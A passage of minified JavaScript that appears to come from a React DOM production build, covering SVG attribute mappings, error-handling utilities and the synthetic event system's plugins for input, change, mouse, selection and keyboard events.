e.removeAttribute("value");"number"!==e.type||!1===e.hasAttribute("value")?e.setAttribute("value",""+t):e.validity&&!e.validity.badInput&&e.ownerDocument.activeElement!==e&&e.setAttribute("value",""+t)}}},I=C.HAS_STRING_BOOLEAN_VALUE,O={xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace"},L={Properties:{autoReverse:I,externalResourcesRequired:I,preserveAlpha:I},DOMAttributeNames:{autoReverse:"autoReverse",externalResourcesRequired:"externalResourcesRequired",preserveAlpha:"preserveAlpha"},DOMAttributeNamespaces:{xlinkActuate:O.xlink,xlinkArcrole:O.xlink,xlinkHref:O.xlink,xlinkRole:O.xlink,xlinkShow:O.xlink,xlinkTitle:O.xlink,xlinkType:O.xlink,xmlBase:O.xml,xmlLang:O.xml,xmlSpace:O.xml}},D=/[\-\:]([a-z])/g;function R(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode x-height xlink:actuate xlink:arcrole xlink:href xlink:role xlink:show xlink:title xlink:type xml:base xmlns:xlink xml:lang xml:space".split(" ").forEach(function(e){var t=e.replace(D,R);L.Properties[t]=0;L.DOMAttributeNames[t]=e});C.injectDOMPropertyConfig(x);C.injectDOMPropertyConfig(L);var P={_caughtError:null,_hasCaughtError:!1,_rethrowError:null,_hasRethrowError:!1,injection:{injectErrorUtils:function(e){"function"!=typeof e.invokeGuardedCallback&&p("197");M=e.invokeGuardedCallback}},invokeGuardedCallback:function(e,t,n,o,r,i,a,s,l){M.apply(P,arguments)},invokeGuardedCallbackAndCatchFirstError:function(e,t,n,o,r,i,a,s,l){P.invokeGuardedCallback.apply(this,arguments);if(P.hasCaughtError()){var c=P.clearCaughtError();P._hasRethrowError||(P._hasRethrowError=!0,P._rethrowError=c)}},rethrowCaughtError:function(){return A.apply(P,arguments)},hasCaughtError:function(){return P._hasCaughtError},clearCaughtError:function(){if(P._hasCaughtError){var e=P._caughtError;P._caughtError=null;P._hasCaughtError=!1;return e}p("198")}};function M(e,t,n,o,r,i,a,s,l){P._hasCaughtError=!1;P._caughtError=null;var c=Array.prototype.slice.call(arguments,3);try{t.apply(n,c)}catch(e){P._caughtError=e,P._hasCaughtError=!0}}function A(){if(P._hasRethrowError){var e=P._rethrowError;P._rethrowError=null;P._hasRethrowError=!1;throw e}}var B=null,N={};function F(){if(B)for(var e in N){var t=N[e],n=B.indexOf(e);-1<n||p("96",e);if(!W[n]){t.extractEvents||p("97",e);W[n]=t;n=t.eventTypes;for(var o in n){var r=void 0,i=n[o],a=t,s=o;U.hasOwnProperty(s)&&p("99",s);U[s]=i;var l=i.phasedRegistrationNames;if(l){for(r in l)l.hasOwnProperty(r)&&H(l[r],a,s);r=!0}else i.registrationName?(H(i.registrationName,a,s),r=!0):r=!1;r||p("98",o,e)}}}}function H(e,t,n){z[e]&&p("100",e);z[e]=t;j[e]=t.eventTypes[n].dependencies}var W=[],U={},z={},j={};function G(e){B&&p("101");B=Array.prototype.slice.call(e);F()}function V(e){var t,n=!1;for(t in e)if(e.hasOwnProperty(t)){var o=e[t];N.hasOwnProperty(t)&&N[t]===o||(N[t]&&p("102",t),N[t]=o,n=!0)}n&&F()}var K=Object.freeze({plugins:W,eventNameDispatchConfigs:U,registrationNameModules:z,registrationNameDependencies:j,possibleRegistrationNames:null,injectEventPluginOrder:G,injectEventPluginsByName:V}),q=null,X=null,J=null;function Y(e,t,n,o){t=e.type||"unknown-event";e.currentTarget=J(o);P.invokeGuardedCallbackAndCatchFirstError(t,n,void 0,e);e.currentTarget=null}function $(e,t){null==t&&p("30");if(null==e)return t;if(Array.isArray(e)){if(Array.isArray(t))return e.push.apply(e,t),e;e.push(t);return e}return Array.isArray(t)?[e].concat(t):[e,t]}function Z(e,t,n){Array.isArray(e)?e.forEach(t,n):e&&t.call(n,e)}var Q=null;function ee(e,t){if(e){var n=e._dispatchListeners,o=e._dispatchInstances;if(Array.isArray(n))for(var r=0;r<n.length&&!e.isPropagationStopped();r++)Y(e,t,n[r],o[r]);else n&&Y(e,t,n,o);e._dispatchListeners=null;e._dispatchInstances=null;e.isPersistent()||e.constructor.release(e)}}function te(e){return ee(e,!0)}function ne(e){return ee(e,!1)}var oe={injectEventPluginOrder:G,injectEventPluginsByName:V};function re(e,t){var n=e.stateNode;if(!n)return null;var o=q(n);if(!o)return null;n=o[t];e:switch(t){case"onClick":case"onClickCapture":case"onDoubleClick":case"onDoubleClickCapture":case"onMouseDown":case"onMouseDownCapture":case"onMouseMove":case"onMouseMoveCapture":case"onMouseUp":case"onMouseUpCapture":(o=!o.disabled)||(o=!("button"===(e=e.type)||"input"===e||"select"===e||"textarea"===e));e=!o;break e;default:e=!1}if(e)return null;n&&"function"!=typeof n&&p("231",t,typeof n);return n}function ie(e,t,n,o){for(var r,i=0;i<W.length;i++){var a=W[i];a&&(a=a.extractEvents(e,t,n,o))&&(r=$(r,a))}return r}function ae(e){e&&(Q=$(Q,e))}function se(e){var t=Q;Q=null;t&&(Z(t,e?te:ne),Q&&p("95"),P.rethrowCaughtError())}var le=Object.freeze({injection:oe,getListener:re,extractEvents:ie,enqueueEvents:ae,processEventQueue:se}),ce=Math.random().toString(36).slice(2),ue="__reactInternalInstance$"+ce,de="__reactEventHandlers$"+ce;function he(e){if(e[ue])return e[ue];for(var t=[];!e[ue];){if(t.push(e),!e.parentNode)return null;e=e.parentNode}var n=void 0,o=e[ue];if(5===o.tag||6===o.tag)return o;for(;e&&(o=e[ue]);e=t.pop())n=o;return n}function pe(e){if(5===e.tag||6===e.tag)return e.stateNode;p("33")}function me(e){return e[de]||null}var ge=Object.freeze({precacheFiberNode:function(e,t){t[ue]=e},getClosestInstanceFromNode:he,getInstanceFromNode:function(e){return!(e=e[ue])||5!==e.tag&&6!==e.tag?null:e},getNodeFromInstance:pe,getFiberCurrentPropsFromNode:me,updateFiberProps:function(e,t){e[de]=t}});function fe(e){do{e=e.return}while(e&&5!==e.tag);return e||null}function _e(e,t,n){for(var o=[];e;)o.push(e),e=fe(e);for(e=o.length;0<e--;)t(o[e],"captured",n);for(e=0;e<o.length;e++)t(o[e],"bubbled",n)}function ve(e,t,n){(t=re(e,n.dispatchConfig.phasedRegistrationNames[t]))&&(n._dispatchListeners=$(n._dispatchListeners,t),n._dispatchInstances=$(n._dispatchInstances,e))}function be(e){e&&e.dispatchConfig.phasedRegistrationNames&&_e(e._targetInst,ve,e)}function Ce(e){if(e&&e.dispatchConfig.phasedRegistrationNames){var t=e._targetInst;_e(t=t?fe(t):null,ve,e)}}function ye(e,t,n){e&&n&&n.dispatchConfig.registrationName&&(t=re(e,n.dispatchConfig.registrationName))&&(n._dispatchListeners=$(n._dispatchListeners,t),n._dispatchInstances=$(n._dispatchInstances,e))}function Ee(e){e&&e.dispatchConfig.registrationName&&ye(e._targetInst,null,e)}function Se(e){Z(e,be)}function Te(e,t,n,o){if(n&&o)e:{for(var r=n,i=o,a=0,s=r;s;s=fe(s))a++;s=0;for(var l=i;l;l=fe(l))s++;for(;0<a-s;)r=fe(r),a--;for(;0<s-a;)i=fe(i),s--;for(;a--;){if(r===i||r===i.alternate)break e;r=fe(r);i=fe(i)}r=null}else r=null;i=r;for(r=[];n&&n!==i&&(null===(a=n.alternate)||a!==i);){r.push(n);n=fe(n)}for(n=[];o&&o!==i&&(null===(a=o.alternate)||a!==i);){n.push(o);o=fe(o)}for(o=0;o<r.length;o++)ye(r[o],"bubbled",e);for(e=n.length;0<e--;)ye(n[e],"captured",t)}var we=Object.freeze({accumulateTwoPhaseDispatches:Se,accumulateTwoPhaseDispatchesSkipTarget:function(e){Z(e,Ce)},accumulateEnterLeaveDispatches:Te,accumulateDirectDispatches:function(e){Z(e,Ee)}}),ke=null;function xe(){!ke&&r.canUseDOM&&(ke="textContent"in document.documentElement?"textContent":"innerText");return ke}var Ie={_root:null,_startText:null,_fallbackText:null};function Oe(){if(Ie._fallbackText)return Ie._fallbackText;var e,t,n=Ie._startText,o=n.length,r=Le(),i=r.length;for(e=0;e<o&&n[e]===r[e];e++);var a=o-e;for(t=1;t<=a&&n[o-t]===r[i-t];t++);Ie._fallbackText=r.slice(e,1<t?1-t:void 0);return Ie._fallbackText}function Le(){return"value"in Ie._root?Ie._root.value:Ie._root[xe()]}var De="dispatchConfig _targetInst nativeEvent isDefaultPrevented isPropagationStopped _dispatchListeners _dispatchInstances".split(" "),Re={type:null,target:null,currentTarget:a.thatReturnsNull,eventPhase:null,bubbles:null,cancelable:null,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:null,isTrusted:null};function Pe(e,t,n,o){this.dispatchConfig=e;this._targetInst=t;this.nativeEvent=n;e=this.constructor.Interface;for(var r in e)e.hasOwnProperty(r)&&((t=e[r])?this[r]=t(n):"target"===r?this.target=o:this[r]=n[r]);this.isDefaultPrevented=(null!=n.defaultPrevented?n.defaultPrevented:!1===n.returnValue)?a.thatReturnsTrue:a.thatReturnsFalse;this.isPropagationStopped=a.thatReturnsFalse;return this}i(Pe.prototype,{preventDefault:function(){this.defaultPrevented=!0;var e=this.nativeEvent;e&&(e.preventDefault?e.preventDefault():"unknown"!=typeof e.returnValue&&(e.returnValue=!1),this.isDefaultPrevented=a.thatReturnsTrue)},stopPropagation:function(){var e=this.nativeEvent;e&&(e.stopPropagation?e.stopPropagation():"unknown"!=typeof e.cancelBubble&&(e.cancelBubble=!0),this.isPropagationStopped=a.thatReturnsTrue)},persist:function(){this.isPersistent=a.thatReturnsTrue},isPersistent:a.thatReturnsFalse,destructor:function(){var e,t=this.constructor.Interface;for(e in t)this[e]=null;for(t=0;t<De.length;t++)this[De[t]]=null}});Pe.Interface=Re;Pe.augmentClass=function(e,t){function n(){}n.prototype=this.prototype;var o=new n;i(o,e.prototype);e.prototype=o;e.prototype.constructor=e;e.Interface=i({},this.Interface,t);e.augmentClass=this.augmentClass;Be(e)};Be(Pe);function Me(e,t,n,o){if(this.eventPool.length){var r=this.eventPool.pop();this.call(r,e,t,n,o);return r}return new this(e,t,n,o)}function Ae(e){e instanceof this||p("223");e.destructor();10>this.eventPool.length&&this.eventPool.push(e)}function Be(e){e.eventPool=[];e.getPooled=Me;e.release=Ae}function Ne(e,t,n,o){return Pe.call(this,e,t,n,o)}Pe.augmentClass(Ne,{data:null});function Fe(e,t,n,o){return Pe.call(this,e,t,n,o)}Pe.augmentClass(Fe,{data:null});var He,We=[9,13,27,32],Ue=r.canUseDOM&&"CompositionEvent"in window,ze=null;r.canUseDOM&&"documentMode"in document&&(ze=document.documentMode);if(He=r.canUseDOM&&"TextEvent"in window&&!ze){var je=window.opera;He=!("object"==typeof je&&"function"==typeof je.version&&12>=parseInt(je.version(),10))}var Ge=He,Ve=r.canUseDOM&&(!Ue||ze&&8<ze&&11>=ze),Ke=String.fromCharCode(32),qe={beforeInput:{phasedRegistrationNames:{bubbled:"onBeforeInput",captured:"onBeforeInputCapture"},dependencies:["topCompositionEnd","topKeyPress","topTextInput","topPaste"]},compositionEnd:{phasedRegistrationNames:{bubbled:"onCompositionEnd",captured:"onCompositionEndCapture"},dependencies:"topBlur topCompositionEnd topKeyDown topKeyPress topKeyUp topMouseDown".split(" ")},compositionStart:{phasedRegistrationNames:{bubbled:"onCompositionStart",captured:"onCompositionStartCapture"},dependencies:"topBlur topCompositionStart topKeyDown topKeyPress topKeyUp topMouseDown".split(" ")},compositionUpdate:{phasedRegistrationNames:{bubbled:"onCompositionUpdate",captured:"onCompositionUpdateCapture"},dependencies:"topBlur topCompositionUpdate topKeyDown topKeyPress topKeyUp topMouseDown".split(" ")}},Xe=!1;function Je(e,t){switch(e){case"topKeyUp":return-1!==We.indexOf(t.keyCode);case"topKeyDown":return 229!==t.keyCode;case"topKeyPress":case"topMouseDown":case"topBlur":return!0;default:return!1}}function Ye(e){return"object"==typeof(e=e.detail)&&"data"in e?e.data:null}var $e=!1;function Ze(e,t){switch(e){case"topCompositionEnd":return Ye(t);case"topKeyPress":if(32!==t.which)return null;Xe=!0;return Ke;case"topTextInput":return(e=t.data)===Ke&&Xe?null:e;default:return null}}function Qe(e,t){if($e)return"topCompositionEnd"===e||!Ue&&Je(e,t)?(e=Oe(),Ie._root=null,Ie._startText=null,Ie._fallbackText=null,$e=!1,e):null;switch(e){case"topPaste":return null;case"topKeyPress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1<t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case"topCompositionEnd":return Ve?null:t.data;default:return null}}var et={eventTypes:qe,extractEvents:function(e,t,n,o){var r;if(Ue)e:{switch(e){case"topCompositionStart":var i=qe.compositionStart;break e;case"topCompositionEnd":i=qe.compositionEnd;break e;case"topCompositionUpdate":i=qe.compositionUpdate;break e}i=void 0}else $e?Je(e,n)&&(i=qe.compositionEnd):"topKeyDown"===e&&229===n.keyCode&&(i=qe.compositionStart);i?(Ve&&($e||i!==qe.compositionStart?i===qe.compositionEnd&&$e&&(r=Oe()):(Ie._root=o,Ie._startText=Le(),$e=!0)),i=Ne.getPooled(i,t,n,o),r?i.data=r:null!==(r=Ye(n))&&(i.data=r),Se(i),r=i):r=null;(e=Ge?Ze(e,n):Qe(e,n))?((t=Fe.getPooled(qe.beforeInput,t,n,o)).data=e,Se(t)):t=null;return[r,t]}},tt=null,nt=null,ot=null;function rt(e){if(e=X(e)){tt&&"function"==typeof tt.restoreControlledState||p("194");var t=q(e.stateNode);tt.restoreControlledState(e.stateNode,e.type,t)}}var it={injectFiberControlledHostComponent:function(e){tt=e}};function at(e){nt?ot?ot.push(e):ot=[e]:nt=e}function st(){if(nt){var e=nt,t=ot;ot=nt=null;rt(e);if(t)for(e=0;e<t.length;e++)rt(t[e])}}var lt=Object.freeze({injection:it,enqueueStateRestore:at,restoreStateIfNeeded:st});function ct(e,t){return e(t)}var ut=!1;function dt(e,t){if(ut)return ct(e,t);ut=!0;try{return ct(e,t)}finally{ut=!1,st()}}var ht,pt={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function mt(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return"input"===t?!!pt[e.type]:"textarea"===t}function gt(e){(e=e.target||e.srcElement||window).correspondingUseElement&&(e=e.correspondingUseElement);return 3===e.nodeType?e.parentNode:e}r.canUseDOM&&(ht=document.implementation&&document.implementation.hasFeature&&!0!==document.implementation.hasFeature("",""));function ft(e,t){if(!r.canUseDOM||t&&!("addEventListener"in document))return!1;var n=(t="on"+e)in document;n||((n=document.createElement("div")).setAttribute(t,"return;"),n="function"==typeof n[t]);!n&&ht&&"wheel"===e&&(n=document.implementation.hasFeature("Events.wheel","3.0"));return n}function _t(e){var t=e.type;return(e=e.nodeName)&&"input"===e.toLowerCase()&&("checkbox"===t||"radio"===t)}function vt(e){var t=_t(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),o=""+e[t];if(!e.hasOwnProperty(t)&&"function"==typeof n.get&&"function"==typeof n.set)return Object.defineProperty(e,t,{enumerable:n.enumerable,configurable:!0,get:function(){return n.get.call(this)},set:function(e){o=""+e;n.set.call(this,e)}}),{getValue:function(){return o},setValue:function(e){o=""+e},stopTracking:function(){e._valueTracker=null;delete e[t]}}}function bt(e){e._valueTracker||(e._valueTracker=vt(e))}function Ct(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),o="";e&&(o=_t(e)?e.checked?"true":"false":e.value);return(e=o)!==n&&(t.setValue(e),!0)}var yt={change:{phasedRegistrationNames:{bubbled:"onChange",captured:"onChangeCapture"},dependencies:"topBlur topChange topClick topFocus topInput topKeyDown topKeyUp topSelectionChange".split(" ")}};function Et(e,t,n){(e=Pe.getPooled(yt.change,e,t,n)).type="change";at(n);Se(e);return e}var St=null,Tt=null;function wt(e){ae(e);se(!1)}function kt(e){if(Ct(pe(e)))return e}function xt(e,t){if("topChange"===e)return t}var It=!1;r.canUseDOM&&(It=ft("input")&&(!document.documentMode||9<document.documentMode));function Ot(){St&&(St.detachEvent("onpropertychange",Lt),Tt=St=null)}function Lt(e){"value"===e.propertyName&&kt(Tt)&&dt(wt,e=Et(Tt,e,gt(e)))}function Dt(e,t,n){"topFocus"===e?(Ot(),Tt=n,(St=t).attachEvent("onpropertychange",Lt)):"topBlur"===e&&Ot()}function Rt(e){if("topSelectionChange"===e||"topKeyUp"===e||"topKeyDown"===e)return kt(Tt)}function Pt(e,t){if("topClick"===e)return kt(t)}function Mt(e,t){if("topInput"===e||"topChange"===e)return kt(t)}var At={eventTypes:yt,_isInputEventSupported:It,extractEvents:function(e,t,n,o){var r=t?pe(t):window,i=r.nodeName&&r.nodeName.toLowerCase();if("select"===i||"input"===i&&"file"===r.type)var a=xt;else if(mt(r))if(It)a=Mt;else{a=Rt;var s=Dt}else!(i=r.nodeName)||"input"!==i.toLowerCase()||"checkbox"!==r.type&&"radio"!==r.type||(a=Pt);if(a&&(a=a(e,t)))return Et(a,n,o);s&&s(e,r,t);"topBlur"===e&&null!=t&&(e=t._wrapperState||r._wrapperState)&&e.controlled&&"number"===r.type&&(e=""+r.value,r.getAttribute("value")!==e&&r.setAttribute("value",e))}};function Bt(e,t,n,o){return Pe.call(this,e,t,n,o)}Pe.augmentClass(Bt,{view:null,detail:null});var Nt={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"};function Ft(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):!!(e=Nt[e])&&!!t[e]}function Ht(){return Ft}function Wt(e,t,n,o){return Pe.call(this,e,t,n,o)}Bt.augmentClass(Wt,{screenX:null,screenY:null,clientX:null,clientY:null,pageX:null,pageY:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,getModifierState:Ht,button:null,buttons:null,relatedTarget:function(e){return e.relatedTarget||(e.fromElement===e.srcElement?e.toElement:e.fromElement)}});var Ut={mouseEnter:{registrationName:"onMouseEnter",dependencies:["topMouseOut","topMouseOver"]},mouseLeave:{registrationName:"onMouseLeave",dependencies:["topMouseOut","topMouseOver"]}},zt={eventTypes:Ut,extractEvents:function(e,t,n,o){if("topMouseOver"===e&&(n.relatedTarget||n.fromElement)||"topMouseOut"!==e&&"topMouseOver"!==e)return null;var r=o.window===o?o:(r=o.ownerDocument)?r.defaultView||r.parentWindow:window;"topMouseOut"===e?(e=t,t=(t=n.relatedTarget||n.toElement)?he(t):null):e=null;if(e===t)return null;var i=null==e?r:pe(e);r=null==t?r:pe(t);var a=Wt.getPooled(Ut.mouseLeave,e,n,o);a.type="mouseleave";a.target=i;a.relatedTarget=r;(n=Wt.getPooled(Ut.mouseEnter,t,n,o)).type="mouseenter";n.target=r;n.relatedTarget=i;Te(a,n,e,t);return[a,n]}},jt=o.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner;function Gt(e){return"string"==typeof(e=e.type)?e:"function"==typeof e?e.displayName||e.name:null}function Vt(e){var t=e;if(e.alternate)for(;t.return;)t=t.return;else{if(0!=(2&t.effectTag))return 1;for(;t.return;)if(0!=(2&(t=t.return).effectTag))return 1}return 3===t.tag?2:3}function Kt(e){return!!(e=e._reactInternalFiber)&&2===Vt(e)}function qt(e){2!==Vt(e)&&p("188")}function Xt(e){var t=e.alternate;if(!t)return 3===(t=Vt(e))&&p("188"),1===t?null:e;for(var n=e,o=t;;){var r=n.return,i=r?r.alternate:null;if(!r||!i)break;if(r.child===i.child){for(var a=r.child;a;){if(a===n)return qt(r),e;if(a===o)return qt(r),t;a=a.sibling}p("188")}if(n.return!==o.return)n=r,o=i;else{a=!1;for(var s=r.child;s;){if(s===n){a=!0;n=r;o=i;break}if(s===o){a=!0;o=r;n=i;break}s=s.sibling}if(!a){for(s=i.child;s;){if(s===n){a=!0;n=i;o=r;break}if(s===o){a=!0;o=i;n=r;break}s=s.sibling}a||p("189")}}n.alternate!==o&&p("190")}3!==n.tag&&p("188");return n.stateNode.current===n?e:t}function Jt(e){if(!(e=Xt(e)))return null;for(var t=e;;){if(5===t.tag||6===t.tag)return t;if(t.child)t.child.return=t,t=t.child;else{if(t===e)break;for(;!t.sibling;){if(!t.return||t.return===e)return null;t=t.return}t.sibling.return=t.return;t=t.sibling}}return null}function Yt(e){if(!(e=Xt(e)))return null;for(var t=e;;){if(5===t.tag||6===t.tag)return t;if(t.child&&4!==t.tag)t.child.return=t,t=t.child;else{if(t===e)break;for(;!t.sibling;){if(!t.return||t.return===e)return null;t=t.return}t.sibling.return=t.return;t=t.sibling}}return null}var $t=[];function Zt(e){var t=e.targetInst;do{if(!t){e.ancestors.push(t);break}var n;for(n=t;n.return;)n=n.return;if(!(n=3!==n.tag?null:n.stateNode.containerInfo))break;e.ancestors.push(t);t=he(n)}while(t);for(n=0;n<e.ancestors.length;n++)t=e.ancestors[n],en(e.topLevelType,t,e.nativeEvent,gt(e.nativeEvent))}var Qt=!0,en=void 0;function tn(e){Qt=!!e}function nn(e,t,n){return n?s.listen(n,t,rn.bind(null,e)):null}function on(e,t,n){return n?s.capture(n,t,rn.bind(null,e)):null}function rn(e,t){if(Qt){var n=gt(t);null===(n=he(n))||"number"!=typeof n.tag||2===Vt(n)||(n=null);if($t.length){var o=$t.pop();o.topLevelType=e;o.nativeEvent=t;o.targetInst=n;e=o}else e={topLevelType:e,nativeEvent:t,targetInst:n,ancestors:[]};try{dt(Zt,e)}finally{e.topLevelType=null,e.nativeEvent=null,e.targetInst=null,e.ancestors.length=0,10>$t.length&&$t.push(e)}}}var an=Object.freeze({get _enabled(){return Qt},get _handleTopLevel(){return en},setHandleTopLevel:function(e){en=e},setEnabled:tn,isEnabled:function(){return Qt},trapBubbledEvent:nn,trapCapturedEvent:on,dispatchEvent:rn});function sn(e,t){var n={};n[e.toLowerCase()]=t.toLowerCase();n["Webkit"+e]="webkit"+t;n["Moz"+e]="moz"+t;n["ms"+e]="MS"+t;n["O"+e]="o"+t.toLowerCase();return n}var ln={animationend:sn("Animation","AnimationEnd"),animationiteration:sn("Animation","AnimationIteration"),animationstart:sn("Animation","AnimationStart"),transitionend:sn("Transition","TransitionEnd")},cn={},un={};r.canUseDOM&&(un=document.createElement("div").style,"AnimationEvent"in window||(delete ln.animationend.animation,delete ln.animationiteration.animation,delete ln.animationstart.animation),"TransitionEvent"in window||delete ln.transitionend.transition);function dn(e){if(cn[e])return cn[e];if(!ln[e])return e;var t,n=ln[e];for(t in n)if(n.hasOwnProperty(t)&&t in un)return cn[e]=n[t];return""}var hn={topAbort:"abort",topAnimationEnd:dn("animationend")||"animationend",topAnimationIteration:dn("animationiteration")||"animationiteration",topAnimationStart:dn("animationstart")||"animationstart",topBlur:"blur",topCancel:"cancel",topCanPlay:"canplay",topCanPlayThrough:"canplaythrough",topChange:"change",topClick:"click",topClose:"close",topCompositionEnd:"compositionend",topCompositionStart:"compositionstart",topCompositionUpdate:"compositionupdate",topContextMenu:"contextmenu",topCopy:"copy",topCut:"cut",topDoubleClick:"dblclick",topDrag:"drag",topDragEnd:"dragend",topDragEnter:"dragenter",topDragExit:"dragexit",topDragLeave:"dragleave",topDragOver:"dragover",topDragStart:"dragstart",topDrop:"drop",topDurationChange:"durationchange",topEmptied:"emptied",topEncrypted:"encrypted",topEnded:"ended",topError:"error",topFocus:"focus",topInput:"input",topKeyDown:"keydown",topKeyPress:"keypress",topKeyUp:"keyup",topLoadedData:"loadeddata",topLoad:"load",topLoadedMetadata:"loadedmetadata",topLoadStart:"loadstart",topMouseDown:"mousedown",topMouseMove:"mousemove",topMouseOut:"mouseout",topMouseOver:"mouseover",topMouseUp:"mouseup",topPaste:"paste",topPause:"pause",topPlay:"play",topPlaying:"playing",topProgress:"progress",topRateChange:"ratechange",topScroll:"scroll",topSeeked:"seeked",topSeeking:"seeking",topSelectionChange:"selectionchange",topStalled:"stalled",topSuspend:"suspend",topTextInput:"textInput",topTimeUpdate:"timeupdate",topToggle:"toggle",topTouchCancel:"touchcancel",topTouchEnd:"touchend",topTouchMove:"touchmove",topTouchStart:"touchstart",topTransitionEnd:dn("transitionend")||"transitionend",topVolumeChange:"volumechange",topWaiting:"waiting",topWheel:"wheel"},pn={},mn=0,gn="_reactListenersID"+(""+Math.random()).slice(2);function fn(e){Object.prototype.hasOwnProperty.call(e,gn)||(e[gn]=mn++,pn[e[gn]]={});return pn[e[gn]]}function _n(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function vn(e,t){var n,o=_n(e);e=0;for(;o;){if(3===o.nodeType){n=e+o.textContent.length;if(e<=t&&n>=t)return{node:o,offset:t-e};e=n}e:{for(;o;){if(o.nextSibling){o=o.nextSibling;break e}o=o.parentNode}o=void 0}o=_n(o)}}function bn(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&("input"===t&&"text"===e.type||"textarea"===t||"true"===e.contentEditable)}var Cn=r.canUseDOM&&"documentMode"in document&&11>=document.documentMode,yn={select:{phasedRegistrationNames:{bubbled:"onSelect",captured:"onSelectCapture"},dependencies:"topBlur topContextMenu topFocus topKeyDown topKeyUp topMouseDown topMouseUp topSelectionChange".split(" ")}},En=null,Sn=null,Tn=null,wn=!1;function kn(e,t){if(wn||null==En||En!==l())return null;var n=En;"selectionStart"in n&&bn(n)?n={start:n.selectionStart,end:n.selectionEnd}:window.getSelection?n={anchorNode:(n=window.getSelection()).anchorNode,anchorOffset:n.anchorOffset,focusNode:n.focusNode,focusOffset:n.focusOffset}:n=void 0;return Tn&&c(Tn,n)?null:(Tn=n,(e=Pe.getPooled(yn.select,Sn,e,t)).type="select",e.target=En,Se(e),e)}var xn={eventTypes:yn,extractEvents:function(e,t,n,o){var r,i=o.window===o?o.document:9===o.nodeType?o:o.ownerDocument;if(!(r=!i)){e:{i=fn(i);r=j.onSelect;for(var a=0;a<r.length;a++){var s=r[a];if(!i.hasOwnProperty(s)||!i[s]){i=!1;break e}}i=!0}r=!i}if(r)return null;i=t?pe(t):window;switch(e){case"topFocus":(mt(i)||"true"===i.contentEditable)&&(En=i,Sn=t,Tn=null);break;case"topBlur":Tn=Sn=En=null;break;case"topMouseDown":wn=!0;break;case"topContextMenu":case"topMouseUp":return wn=!1,kn(n,o);case"topSelectionChange":if(Cn)break;case"topKeyDown":case"topKeyUp":return kn(n,o)}return null}};function In(e,t,n,o){return Pe.call(this,e,t,n,o)}Pe.augmentClass(In,{animationName:null,elapsedTime:null,pseudoElement:null});function On(e,t,n,o){return Pe.call(this,e,t,n,o)}Pe.augmentClass(On,{clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}});function Ln(e,t,n,o){return Pe.call(this,e,t,n,o)}Bt.augmentClass(Ln,{relatedTarget:null});function Dn(e){var t=e.keyCode;"charCode"in e?0===(e=e.charCode)&&13===t&&(e=13):e=t;return 32<=e||13===e?e:0}var Rn={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},Pn={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"};function Mn(e,t,n,o){return Pe.call(this,e,t,n,o)}Bt.augmentClass(Mn,{key:function(e){if(e.key){var t=Rn[e.key]||e.key;if("Unidentified"!==t)return t}return"keypress"===e.type?13===(e=Dn(e))?"Enter":String.fromCharCode(e):"keydown"===e.type||"keyup"===e.type?Pn[e.keyCode]||"Unidentified":""},location:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,repeat:null,locale:null,getModifierState:Ht,charCode:function(e){return"keypress"===e.type?Dn(e):0},keyCode:function(e){return"keydown"===e.type||"keyup"===e.type?e.keyCode:0},which:function(e){return"keypress"===e.type?Dn(e):"keydown"===e.type||"keyup"===e.type?e.keyCode:0}});function An(e,t,n,o){return Pe.call(this,e,t,n,o)}Wt.augmentClass(An,{dataTransfer:null});function Bn(e,t,n,o){return Pe.call(this,e,t,n,o)}Bt.augmentClass(Bn,{touches:null,targetTouches:null,changedTouches:null,altKey:null,metaKey:null,ctrlKey:null,shiftKey:null,getModifierState:Ht});function Nn(e,t,n,o){return Pe.call(this,e,t,n,o)}Pe.augmentClass(Nn,{propertyName:null,elapsedTime:null,pseudoElement:null});function Fn(e,t,n,o){return Pe.call(this,e,t,n,o)}Wt.augmentClass(Fn,{deltaX:function(e){return"deltaX"in 